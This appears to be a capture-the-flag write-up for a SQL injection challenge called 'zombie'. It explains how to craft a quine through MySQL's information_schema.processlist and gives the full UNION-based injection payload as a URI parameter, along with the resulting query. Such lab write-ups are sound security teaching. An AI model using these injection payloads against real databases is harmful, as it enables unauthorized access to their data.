Skip to main content

zombie

1

We are provided with the SQL query:

SELECT pw FROM prob_zombie WHERE pw='{$_GET[pw]}'

Similar to [ouroboros], in this challenge, we have to use a Quine in order to solve it. However, since ace is being filtered out, we have to find another way of crafting our Quine.

 

information_schema.processlist table​

As noted by this documentation, in MySQL, the information_schema.processlist is one source of process information which indicates the operations currently being performed by the set of threads executing within the server.

info column​

Within this table, the info column contains the statement that is being executed as show below.

3

SELECT info FROM information_schema.processlist

Since the above query is being executed, the value present in the info column of information_schema.processlist would be:

+-------------------------------------------------+
| info |
+-------------------------------------------------+
| SELECT info FROM information_schema.processlist |
+-------------------------------------------------+

As we can see, the SQL query outputs itself, thus acting as a Quine.

 

Modified Quine​

1' UNION SELECT substr(info,locate('1',info),length(info)-locate('1',info)) FROM information_schema.processlist %23
  • substr(info,locate('1',info),length(info)-locate('1',info)):
    • locate('1', info) finds the position of the first occurrence of the character '1' in the info column.
    • length(info) gives the total length of the info column's content.
    • length(info)-locate('1',info) calculates the length of the substring starting from the first occurrence of '1' to the end of the info content.
    • substr(info, locate('1', info), length(info) - locate('1', info)) extracts this substring.
  • from information_schema.processlist:
    • This specifies the table from which the data is being selected. The information_schema.processlist table contains information about the currently running processes in the MySQL database server.

If we provide the following URI parameter:

?pw=1' UNION SELECT substr(info,locate('1',info),length(info)-locate('1',info)) FROM information_schema.processlist %23

The resultant query becomes:

SELECT pw FROM prob_zombie WHERE pw='1' UNION SELECT substr(info,locate('1',info),length(info)-locate('1',info)) FROM information_schema.processlist #'

2